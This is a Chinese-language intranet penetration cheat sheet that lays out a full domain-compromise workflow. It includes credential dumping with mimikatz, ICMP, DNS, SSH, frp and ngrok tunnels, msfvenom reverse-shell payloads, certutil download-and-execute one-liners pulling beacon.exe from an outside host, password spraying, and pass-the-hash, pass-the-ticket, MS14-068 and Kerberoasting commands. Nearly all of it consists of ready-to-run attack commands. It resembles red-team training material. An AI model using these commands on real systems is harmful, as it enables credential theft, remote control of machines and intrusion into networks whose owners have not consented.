局域网:小型办公室,家里
工作组:学校机房,网吧
内网域:大型机器组成的内网,域控即主控制器可以管理电脑,负责下发任务和统一管理,对所有的机器进行软件安装、环境部署
域用户 whoami 会显示 DC 名字而不是主机名,此时去下载软件受限于域控,如果域控未开通域成员下载软件的功能,则域成员下载软件时需要征得域控的同意。此时如果切换为普通用户,即 whoami 显示主机名时可以下载软件,将不受域控的管理限制。
# 域信息收集
( 1 )linux 可以成为一个域成员主机,在域内环境并不常见。
( 2 )域内有 DNS 服务器做解析,由域控分配解析规则,不允许在互联网解析。
( 3 )判断是否在域内
net view /domain
判断存在域
net time /domain
判断主域
( 4 )获取域控 ip
net time /domain
获取域控时间,ping 此命令返回的域控名得到域控 ip
# 应用 服务 权限收集
1 2 3 4 5 6 7 8 9 10 11 12 systeminfo 详细信息 netstat -ano 端口列表 route print 路由表 net start 启动服务 tasklist 进程列表 schtasks 计划任务 ipconfig /all 判断存在域 netstat -ano 当前网络端口开放 nslookup 域名 追踪来源地址 wmic service list brief 查询本机服务 net config workstation 查询当前登录域及登录用户信息 wmic startup get command,caption 查看已启动的程序信息
# 网络 用户 域控收集
1 2 3 4 5 6 7 8 9 10 net view /domain 查询域列表 net time /domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判 断主域,主域一般用做时间服务器 net localgroup administrators 本机管理员【通常含有域用户】 net user /domain 查询域用户(当前域) net group /domain 查询域工作组 net group "domain computers" /domain 查看加入域的所有计算机名 net group "domain admins" /domain 查询域管理员用户组和域管用户 net localgroup administrators /domain 查看域管理员 net group "domain controllers" /domain 查看域控 net accounts /domain 查看域密码策略
# 密码 凭据 口令收集
旨在收集各种密文,明文,口令等,为后续横向渗透做好测试准备
计算机用户 HASH,明文获取 - mimikatz (win),mimipenguin (linux)
计算机各种协议服务口令获取 - LaZagne (all),XenArmor (win),CS 插件
https://github.com/gentilkiwi/mimikatz/
https://github.com/AlessandroZ/LaZagne/
https://github.com/huntergregal/mimipenguin
https://xenarmor.com/allinone-password-recovery-pro-software/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ( 1 )站点源码备份文件、数据库备份文件等 ( 2 )各类数据库Web管理入口,如PHPMyAdmin ( 3 )浏览器保存密码、浏览器Cookies ( 5 )其他用户会话、 3389 和ipc$连接记录、回收站内容 ( 6 )Windows 保存的WIFI密码 ( 7 )网络内部的各种帐号和密码,如:Email、VPN、FTP、OA等 ```` # 工具只是辅助,实际过程中涉及到的问题繁多,需要配合手动解决各种问题。 https://github.com/k8gege/LadonGo https://github.com/BloodHoundAD/BloodHound http://www.joeware.net/freetools/tools/adfind/index.htm CS插件:LSTAR Ladon OLa TaoWu等 - Adfind ```shell 列出域控制器名称:AdFind -sc dclist 查询当前域中在线的计算机:AdFind -sc computers_active 查询当前域中在线的计算机(只显示名称和操作系统): AdFind -sc computers_active name operatingSystem 查询当前域中所有计算机:AdFind -f "objectcategory=computer" 查询当前域中所有计算机(只显示名称和操作系统): AdFind -f "objectcategory=computer" name operatingSystem 查询域内所有用户:AdFind -users name 查询所有GPO:AdFind -sc gpodmp
http://cn-sec.com/archives/146548.html
https://github.com/BloodHoundAD/BloodHound
攻击机启动 neo4j 数据库 neo4j.bat console、内网启动 BloodHound 收集信息 SharpHound.exe -c all 生成 zip 文件、运行 BloodHound.exe 后将生成数据导入,筛选查看。
# 隧道技术
# 隧道基础理论
隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)
代理技术:解决网络通讯不通的问题(利用跳板机建立节点后续操作)
域控防火墙更新策略:域控通过强制按钮或域内用户用 gpupdate/force 更新域控防火墙设置
域控通过组策略设置防火墙规则同步后,域内用户主机被限制 TCP 出网,其中规则为出站规则,安全研究者通过入站取得 SHELL 权限,需要对其进行上线控制。可利用正向连接或者隧道技术来实现。
tcp 转 ICMP 协议出网在返回 tcp 协议项目:
https://github.com/esrrhs/spp
https://github.com/bdamele/icmpsh
https://github.com/esrrhs/pingtunnel
SMB 隧道: 445 通讯、借助通讯后绑定上线、直接 SMB 协议通讯即可
ICMP 隧道:ping 命令、借助项目 (icmpsh icmptunnel pingtunnel) 通讯
DNS 隧道:nslookup dig、内网主机只出网 DNS 协议数据,
SSH 隧道:由于 cs 无 SSH 协议监听器配置,无法上线
域名申请及配置 ns 解析记录、监听器创建选择 DNS 解析及其地址、后门绑定监听器,肉鸡执行 DNS 设置的木马上线主机,是一个 unknown 的主机,输入相关命令后成功上线。
# icmp 隧道
1 2 3 4 5 6 7 8 9 10 # 跳板机开启隧道 ./pingtunnel -type server # 肉鸡(管理器运行) pingtunnel.exe -type client -l 127.0.0.1:6666 -s 192.168.46.66 -t 192.168.46.66:7777 -tcp 1 -noprint 1 -nolog 1 # CS监听器 127.0.0.1 6666 192.168.46.66 7777 # 生成第一个监听器的Stager后门肉鸡执行后上线第二个监听器的马肉鸡将流经本地tcp流量的 6666 端口以icmp流量的方式转发至跳板机的 7777 端口,并且不输出任何日志,跳板机负责接收此流量。cs 的木马监听器从跳板机的 7777 端口处获取到肉鸡的反弹shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 生成后门 msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 - f exe > xd.exe # MSF启动监听 msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 4444 exploit # Kali开启隧道 ./pingtunnel -type server # Win 开启隧道(管理员运行) pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.46.66 -t 192.168.46.66:4444 -tcp 1 -noprint 1 -nolog 1
# dns 隧道
( 1 )前提条件
使用场景:内网主机只出网 DNS 协议数据
项目地址:https://github.com/yarrick/iodine
判断出网:nslookup http://www.baidu.com
( 2 )设置方法
1 2 3 4 5 6 7 8 # 服务器:设置密码xiaodi并创建虚拟IP及绑定域名指向 iodined -f -c -P xiaodi 192.168.0.1 ns1.xiaodi8.com -DD # 客户端:连接密码xiaodi并绑定域名指向 iodine -f -M 200 -P xiaodi ns1.xiaodi8.com # 尝试通讯尝试连接: ssh root@192.168.0.2
( 3 )结果
会在外网主机上建立一块名为 192.168.0.1 的网卡,并且密码是 xiaodi。在内网主机上有一块 192.168.0.2 的 ip 地址,可以让外网直接访问。即外网通过新生成的 DNS 隧道访问到内网机器,一般用来控制 linux 的 ssh,在 windows 上使用时需安装 openvpn。
# ssh 隧道
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 开启ssh协议登录 vi /etc/ssh/sshd_config PermitRootLogin yes PasswordAuthentication yes /etc/init.d/ssh start /etc/init.d/ssh restart # 本地 8080 流量转发至跳板机 1122 ,解决出站规则限制问题 ssh -CfNg -L 1122:192.168.1.15:8080 root@192.168.1.166 curl http://127.0.0.1:1122 # 本地 8080 流量转发至跳板机 1234 ,解决入站规则限制问题 ssh -CfNg -R 1234:192.168.1.15:8080 root@47.94.236.117 curl http://127.0.0.1:1234
# 代理技术
# 跳板机间接控制
控制跳板机后,右键设置代理端口
命令:socks 59578
操作:通过 profixier 设置代理服务器及代理规则后可以访问刀内网资产
# msf 正向控制
1 2 3 4 5 6 7 8 9 # 生成后门 msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=3333 -f exe > bd.exe # 让不出网的机器去执行这个正向连接的后门: use exploit/multi/handler set payload windows/meterpreter/bind_tcp set rhost 192.168.11.129 set lport 3333 run
# cs 正向控制
CS 控制上线 - 正向连接
1 2 3 4 5 6 # 监听器设置正向连接 bind_tcp port # 生成监听器为正向连接的后门供不出网肉鸡执行 # 打开会话交互连接不出网主机正向连接的shell connect ip port
# 不出网机器上线
在控制 windows 10 的基础上,此时已经用 cs 上线此机器。通过 windows 2008 做反向连接到 windows 10 上,并在 window 10 上做端口转发。右键 windows 选择转发上线,生成木马,供 2008 执行获取其权限。
如果采用正向连接,因为其本身采用了入站限制,无法突破。
如果采用反向连接,因为 windows 2008 采用了入站限制,仍无法突破。
如果用 pingtunnel 将 tcp 流量转为 icmp 出 windows 2012 ,无法突破 windows 2008 的入站。因为到了 windows 2008 处时流量变成了 tcp,仍被限制。
因为开了打印机服务,可以通过 smb 即文件共享协议来进行上线。
创建 smb 的监听器,防火墙允许 smb 就可以借助 smb 管道,配合 smb 的横向移动利用,psexec 64 进行操作,前提是获取到其账户密码。
入站过滤上线:隧道技术正向硬刚、反向连接跳过、防火墙开关,删除规则,替换程序。
出站过滤上线:隧道技术反向硬刚、正向连接跳过、防火墙开关,删除规则,替换程序。
两者都有:smb 是否开启,进行 smb 隧道上线
实际环境中两种方法都测试判断是入站还是出站限制或者两者都有
第三种方案:单纯的内网环境、单纯的内网域环境(域控没有设置组策略防火墙同步)
# 内网穿透上线
旨在代理连接肉鸡后实现本地渗透肉鸡网络架构
( 1 )流量代理工具:Proxychains Proxifier
( 2 )穿透项目:Ngrok Frp Spp Nps
https://www.ngrok.cc
https://github.com/esrrhs/spp
https://github.com/fatedier/frp
https://github.com/ehang-io/nps
# Ngrok 上线内网机器
1 2 3 4 5 6 7 8 9 10 11 12 13 # 服务端配置:开通隧道-TCP协议-指向IP和端口-开通隧道-连接隧道 # 客户端连接服务端 # 控制端连接 Ngrok 的服务器 ./sunny clientid 133328291918 # 客户端生成后门配置监听 msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=10134 -f exe -o tcp.exe use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 8888 run
# Frp 上线内网机器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 # 服务器修改配置文件frps.ini: [common] bind_port = 7000 # 启动服务端: ./frps -c ./frps.ini # 控制端修改配置文件frpc.ini: [common] server_addr = 47.94.236.117 server_port = 7000 #frpc工作端口,必须和上面frps保持一致 [msf] type = tcp local_ip = 127.0.0.1 local_port = 5555 #转发给本机的 5555 remote_port = 6000 #服务端用 6000 端口转发给本机 # 启动客户端: ./frpc -c ./frpc.ini # msf生成木马并监听 msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6000 - f exe -o frp.exe use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 127.0.0.1 set LPORT 5555 exploit
# Nps 上线内网机器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 服务端启动 ./nps install && ./nps # 访问: http://IP:8080/ admin/123 # 创建客户端,生成密匙 ./npc -server=47.94.236.117:8024 -vkey=uajwhbu9155qh89v # msf生成木马,远程绑定5555,指向本地 6666 msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=5555 - f exe -o nps.exe use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 6666 run
# Spp 上线内网机器
1 2 3 4 5 6 7 8 9 # 服务端:监听本地的icmp数据 ./spp -type server -proto ricmp -listen 0.0.0.0 # 客户端:将本地的 8082 给到 117 这 8081 上(TCP封装icmp) spp -name "test" -type proxy_client -server 47.94.236.117 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp # CS配置 # 监听器 1 :http 47.94.236.117 8081 # 监听器 2 :http 127.0.0.1 8082 - 生成后门
# 横向渗透技术
1 2 3 4 # 利用cs脚本收集是否存在域,域内用户,端口开放情况,明文和hash 值 net user /domain (cs使用时需要在命令前加shell) mimikatz logonpasswords Ladon Adfinder BloodHound
# IPC 横向移动
IPC 是专用管道,可以实现对远程计算机的访问,需要使用目标系统用户的账号密码,使用 139 、 445 端口。
( 1 )IPC 上线的使用流程
建立 IPC 链接到目标主机、拷贝要执行的命令脚本到目标主机、查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本、删除 IPC 链接
( 2 )IPC 使用时需要的命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # 工作组 net use \\server\ipc$ "password" /user:username # 域内 net use \\server\ipc$ "password" /user:domain\username # 查看文件列表 dir \\xx.xx.xx.xx\C$\ # 下载文件 copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 复制文件 copy 1.bat \\xx.xx.xx.xx\C$ # 删除IPC net use \\xx.xx.xx.xx\C$\1.bat /del # 查看对方共享 net view xx.xx.xx.xx
( 3 )建立 IPC 失败的原因
目标系统不是 NT 或以上的操作系统、对方没有打开 IPC$ 共享、对方未开启 139、445 端口,或者被防火墙屏蔽、输出命令、账号密码有错误
IPC 渗透完整流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 上线配置 # 正向:配置监听器beacon_bind_tcp并生成木马,木马运行连接 connect 192.168.3.32 4444 # 反向:选择需要转发的已经控制的肉鸡,代理转发->转发上线->beacon.exe # Windows2012以下采用at命令 net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接 copy beacon.exe \\192.168.3.21\c$ #拷贝执行文件到目标机器 at \\192.168.3.21 15:47 c:\beacon.exe #添加计划任务 * 计划任务执行后,木马被执行,在cs上会上线 # Windows2012及其以上采用schtasks命令 net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接 copy beacon.exe \\192.168.3.32\c$ #复制文件到其C盘 schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe /F #创beacon任务对应执行文件 schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务 schtasks /delete /s 192.168.3.21 /tn beacon /f#删除beacon任务
该工具是一个半交互的工具,适用于 Webshell 下,Socks 代理下;在渗透利 用中可以收集用户名、明文密码、密码 hash、远程主机等做成字典,批量测试。 一般选择 py 程序,比较轻量,体积较小,不易被识别。需要编写脚本进行批量 通过 IPC 通道下载木马,执行木马,针对不同的用户名,密码,hash 尝试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # py版:https://github.com/SecureAuthCorp/impacket python atexec.py god/administrator:Admin12345@192.168.3.21 "ver" python atexec.py -hashes :ccef208c648* ./administrator@192.168.3.21 "v" # Exe版:https://gitee.com/RichChigga/impacket-examples-windows # CS本地用户明文连接 shell atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami" # CS域内用户明文连接 shell atexec.exe god/administrator:Admin12345@192.168.3.21 "ver" # CS域内本地用户明文密文连接 shell atexec.exe - hashes :ccef208c648526* ./administrator@192.168.3.21 "whoami" shell atexec.exe - hashes :ccef208c648526* god/administrator@192.168.3.21 "whoami"
# WMI 横向渗透
WMI 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
1 2 3 4 5 6 7 # wmic 内部:(单执行,只能用明文密码) wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe & c:/beacon.exe" # cscript 内置:(生成交互式shell) # 先上传wmiexec.vbs至肉机 cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
1 2 3 4 5 6 # 通过明文密码或者hash 执行命令: wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami" wmiexec -hashes :518b98ad4178a ./administrator@192.168.3.32 "whoami" # 下载后门并执行: wmiexec ./Administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe & c:/beacon.exe "
# SMB 横向渗透
利用 SMB 服务可以通过明文或 hash 传递来远程执行, 445 服务端口开放。
1 2 3 4 5 6 7 8 9 10 11 # 内置命令psexec64 、外部命令psexec # 内部 psexec64 \\192.168.3.32 - u administrator - p admin!@#45 - s cmd # 外部 psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 # 插件:cs-psexec # 内置命令services services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell
1 2 3 4 5 6 7 8 9 10 # 针对明文密码 # 普通用户 smbexec ./administrator:admin!@#45@192.168.3.32 # 域内用户 smbexec god/administrator:admin!@#45@192.168.3.32 # 针对hash (交互式的shell,可以在cmd上下载木马绕过杀软) smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 smbexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32
# CrackMapExec
( 1 )工具批量密码喷射(支持 hash)
Github:https://github.com/Porchetta-Industries/CrackMapExec
官方手册:https://mpgn.gitbook.io/crackmapexec/
部分案例:https://www.freebuf.com/sectool/184573.html
下载对应 release,建立 socks 连接,设置 socks 代理,配置规则,调用!
( 2 )Linux Proxychains 使用
安装使用:https://blog.csdn.net/qq_53086690/article/details/121779832
代理配置:Proxychains.conf
代理调用:Proxychains 命令
( 3 )CrackMapExec 使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 密码喷射域用户登录 proxychains python cme smb 192.168.3.21-32 -u administrator -p 'admin!@#45' # 密码喷射本地用户登录 proxychains python cme smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth # 密码喷射本地登录命令执行 proxychains python cme smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'whoami' --local-auth # 密码喷射本地登录命令执行上线 proxychains python cme smb 192.168.3.21- 32 - u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe' --local-auth # 密码喷射域登录命令执行上线 proxychains python cme smb 192.168.3.21- 32 - u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f [http://192.168.3.31/4455.exe](http://192.168.3.31/4455.exe) c:/4455.exe & c:/4455.exe' # 密码喷射本地和域登录命令执行全自动上线 proxychains python cme smb 192.168.3.21- 32 - u user.txt -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f [http://192.168.3.31/4455.exe](http://192.168.3.31/4455.exe) c:/4455.exe & c:/4455.exe' proxychains python cme smb 192.168.3.21- 32 - u administrator -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f [http://192.168.3.31/4455.exe](http://192.168.3.31/4455.exe) c:/4455.exe & c:/4455.exe' --local-auth
# PTH 哈希传递攻击
PTH (pass the hash):哈希传递攻击,利用的 lm 或 ntlm 的值进行的渗透测试(NTLM 认证攻击)
PTH = Pass The Hash,通过密码散列值 (通常是 NTLM Hash) 来进行攻击。 在域环境中,用户登录计算机时使用的域账号,计算机会用相同本地管理员账 号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就 可以使用哈希传递的方法登录到内网主机的其他计算机。另外注意在 Window S erver 2012 R2 之前使用到的密码散列值是 LM、NTLM,在 2012 R2 及其版本 之后使用到的密码散列值是 NTLM Hash。
( 1 )mimikatz
1 2 3 4 5 6 7 8 9 10 11 12 13 # 改回连时间-提权至system-继续改回连时间-导出hash 和明文此方法会在肉鸡上弹出cmd,如果条件不满足,则一般不采用这种方法 mimikatz privilege::debug # 通过pth导入票据攻击此票据对应的机器 mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a5xxx # 在肉鸡上弹出来的cmd执行以下命令 net use \\192.168.3.32\c$ copy beacon.exe \\192.168.3.32\c$ # 通过创建服务绑定exe程序上线exe程序 sc \\sqlserver create bshell binpath= "c:\4.exe" sc \\sqlserver start bshell
( 2 )impacket 套件
1 2 3 4 5 6 7 8 # 将肉鸡进行socket代理转发,用proxifier建立规则,通过本机的套件进行测试,通过cs的文件浏览功能将木马放在跳板机web上 # 用cmd窗口下载木马运行上线。当hash 与所要攻击的主机及用户名对应的时候,则会取得权限。但是受限于这三种方法的协议端口是否正常开启。 psexec -hashes :NTLM值 域名/域用户@域内ip地址 smbexec -hashes :NTLM值 域名/域用户@域内ip地址 wmiexec -hashes :NTLM值 域名/域用户@域内ip地址 python psexec.py -hashes :518b98ad48a* ./administrator@192.168.3.32 python smbexec.py -hashes :518b98ad78a* ./administrator@192.168.3.32 python wmiexec.py -hashes :518b98ad41a* ./administrator@192.168.3.32
( 3 )CrackMapExec 密码喷射
项目地址:https://github.com/Porchetta-Industries/CrackMapExec
官方手册:https://mpgn.gitbook.io/crackmapexec/
部分案例:https://www.freebuf.com/sectool/184573.html
下载对应 release,建立 socks 连接,设置 socks 代理,配置规则,修改 Proxychains.conf 进行代理配置,而后通过 Proxychains 调用命令。依次对所有扫描到的用户进行 pth 攻击。
1 2 3 4 5 # a. 域用户HASH登录 proxychains python cme smb 192.168.3.21- 32 - u user.txt -H 518b98adxxx # b. 本地用户HASH登录 proxychains python cme smb 192.168.3.21- 32 - u administrator -H 518b98xxx --local-auth
# PTT 票据传递攻击
PTT (pass the ticket) :票据传递攻击,利用的票据凭证 TGT 进行渗透测试(Kerberos 认证攻击)
Kerberos 相当于 web 中的 cookie 和 session,需要进行身份认证。票据自生成之后,存活时间较短,一般设置为 7 天,票据存活失效之后,此票据便无用。
链接:https://github.com/gentilkiwi/kekeo/releases
( 1 )MS14068 (webadmin 权限)
项目地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
MS14-068 是密钥分发中心 (KDC) 服务中的 Windows 漏洞。它允许经过 身份验证的用户在其 Kerberos 票证 (TGT) 中插入任意 PAC。该漏洞位于 kdcs vc.dll 域控制器的密钥分发中心 (KDC) 中。用户可以通过呈现具有改变的 PAC 的 Kerberos TGT 来获得票证。利用漏洞生成的用户的新身份票据尝试认证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # 获取SID值 shell whoami/user # 生成票据文件 shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-121 8902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45 # 清除票据连接 shell klist purge # 内存导入票据 mimikatz kerberos::ptc TGT_webadmin@god.org.ccache # 查看当前票据 shell klist # 连接目标上线 shell dir \\OWA2010CN-GOD\c$ shell net use \\OWA2010CN-GOD\C$ copy beacon.exe \\OWA2010CN-GOD\C$ sc \\OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe" sc \\OWA2010CN-GOD start bindshell # 注意:成功不成功看DC域控漏洞补丁打没打
( 2 )kekeo (高权限,需 NTLM)
当前主机肯定之前与其他主机连接过,所以本地会生成了一些票据,可以
导出这些票据,然后再导入票据进行利用。该方法类似于 cookie 欺骗。但是票 据是有有效期的,当前主机在连接过域控的话,有效期内可利用。即利用获取 的 NTLM 生成新的票据尝试认证。工具比较小的话可以上传到肉鸡,如果比较 大,还是需要通过 socket 代理。
通过横向到其他主机尽可能获得到比较多的 hash 值进行测试:
1 2 3 4 5 6 7 8 9 10 11 12 # 生成票据 shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit" # 导入票据 shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit" # 查看票据 shell klist # 利用票据连接 shell dir \\owa2010cn-god\c$ # 注意:成功不成功看ntlm哈希值的正确性
( 3 )mimikatz (高权限,需 Ticket)
1 2 3 4 5 6 7 8 9 10 11 12 13 # 利用历史遗留的票据重新认证尝试 # 导出票据 mimikatz sekurlsa::tickets /export # 导入票据 mimikatz kerberos::ptt C:\Users\webadmin\Desktop\22d3a-2-1-40e00000-Administrator@krbtgt-god.org.kirbi # 查看票据: shell klist # 利用票据连接: shell dir \\owa2010cn-god\c$ # 注意:成功不成功看当前主机有没有被目标连接过
# PTK 密钥传递攻击
PTK (pass the key):密钥传递攻击,利用的 ekeys aes256 进行的渗透测试(NTLM 认证攻击)
PTK = Pass The Key,当系统安装了 KB2871997 补丁且禁用了 NTLM 的 时候,那我们抓取到的 ntlm hash 也就失去了作用,但是可以通过 PTK 的攻击 方式获得权限。这个方式利用条件比较苛刻,算的上是比较鸡肋的,一般很难 被利用到。
1 2 mimikatz sekurlsa::ekeys mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值
# RDP 横向渗透
做了提权之后,进行一波 3389 端口扫描,一般配合创建新的用户,从跳板 机创建代理节点从本地接入肉鸡,需要注意的是,如果自己登陆的用户名与对 方的用户名一致,对方用户会被迫下线,反之不会。远程桌面服务支持明文及 HASH 连接。
1 2 3 4 5 6 7 8 9 10 11 12 13 # 探针服务 # cs 内置端口扫描 3389 tasklist /svc | find "TermService" # 找到对应服务进程的PID netstat -ano | find "PID值" # 找到进程对应的端口号 # 探针连接 CrackMapExec&MSF 批扫用户名密码验证 # 连接执行 # 明文连接: mstsc /console /v:192.168.3.32 /admin # HASH连接 mimikatz privilege::debug mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"
# WinRM 横向渗透
WinRM 代表 Windows 远程管理,是一种允许管理员远程执行系统管理任务 的服务。默认情况下支持 Kerberos 和 NTLM 身份验证以及基本身份验证。需要 攻击机和受害机双方都启用的 Winrm rs 的服务。并且使用此服务需要管理员级 别凭据。
Windows 2008 以上版本默认自动状态,Windows Vista/win7 上必须手动启 动;Windows 2012 之后的版本默认允许远程任意主机来管理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 攻击机开启: winrm quickconfig -q winrm set winrm/config/Client @{TrustedHosts="*"} # 探针可用: cs 内置端口扫描 5985 powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"} # 连接执行: winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami # 上线CS&MSF: winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f [http://192.168.3.31/beacon.exe](http://192.168.3.31/beacon.exe) beacon.exe & beacon.exe"
# SPN Kerberos 攻击
在无法通过 mimikaza 获取到 hash 或者明文的时候,可以采用通过 kerberos 获取凭证中隐藏的具体密码。通过 spn 先扫描电脑上存在的服务列表,在针对服务进行利用。
( 1 )Kerberoasting 攻击的利用
SPN 服务发现、请求服务票据、服务票据的导出、服务票据的暴力破解
( 2 )项目地址推荐
https://github.com/GhostPack/Rubeus
https://github.com/nidem/kerberoast
https://www.freebuf.com/articles/system/174967.html
( 3 )如需利用需要配置策略加密方式
黑客可以使用有效的域用户的身份验证票证 (TGT) 去请求运行在服务器上的一个或多个目标服务的服务票证。DC 在活动目录中查找 SPN,并使用与 S PN 关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。
请求的 Kerberos 服务票证的加密类型是 RC4_HMAC_MD5,这意味着服务 帐户的 NTLM 密码哈希用于加密服务票证。黑客将收到的 TGS 票据离线进行破 解,即可得到目标服务帐号的 HASH,这个称之为 Kerberoast 攻击。
如果我们有一个为域用户帐户注册的任意 SPN,那么该用户帐户的明文密 码的 NTLM 哈希值就将用于创建服务票证。
( 4 )Kerberos 攻击条件
采用 rc4 加密类型票据,工具 Rubeus 检测或看票据加密类型
Kerberos 攻击流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # spn扫描 powershell setspn -T 0day.org -q */* powershell setspn -T 0day.org -q */* | findstr "MSSQL" # 工具检测 Rubeus kerberoast # 手工请求:(要产生票据文件) powershell Add-Type -AssemblyName System.IdentityModel powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433" # 查看票据 mimikatz kerberos:list mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433 # 导出 mimikatz kerberos::list /export # 破解 python tgsrepcrack.py pass.txt "1-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi"
# Exchange 攻击
( 1 )端口扫描
Exchange 会对外暴露接口如 OWA,ECP 等,会暴露在 80 端口,而且 25/587/2525 等端口上会有 SMTP 服务,所以可以通过一些端口特征来定位 exchange。
( 2 )SPN 扫描
powershell setspn -T 0day.org -q */*
( 3 )脚本探针版本并探测可能存在的 CVE
python Exchange_GetVersion_MatchVul.py xx.xx.xx.xx
爆破账户密码进行登录 exchange 方便钓鱼,账户密码都是通过搜索凭证中获取。
Burp+Proxifier:直接将 web 流量捕获通过 burp 来爆破账户名和密码
工具链接 1:https://github.com/grayddq/EBurst
工具链接 2:https://github.com/lazaars/MailSniper
Exchange 漏洞
https://www.cnblogs.com/xiaozi/p/14481595.html
确定内核版本 - 筛选 Server 版本 - 确定漏洞对应关系 - 选择漏洞进行漏洞,如 CVE-2020-0688 CVE-2020-17144,主要是为了控制 exchange 服务器,一旦控制 到服务器可以大规模邮件钓鱼,寻找相应 exchange 版本存在何种漏洞,搜素利 用脚本进行利用。
# 域控提权
# MS17010(CVE-2017-0146)
除去前述的口令传递的攻击方式之外,还可以从系统漏洞层面进行漏洞利用,如 CVE-2017-0146, 适用版本 Windows 7 8.1 10; Windows Server 2008 2 012 2016; 先如今,多数电脑已经配置上了补丁。由于 cs 只支持漏洞扫描,msf 支持漏洞利用,因此可以利用 msf 联动 cs 检测并利用。
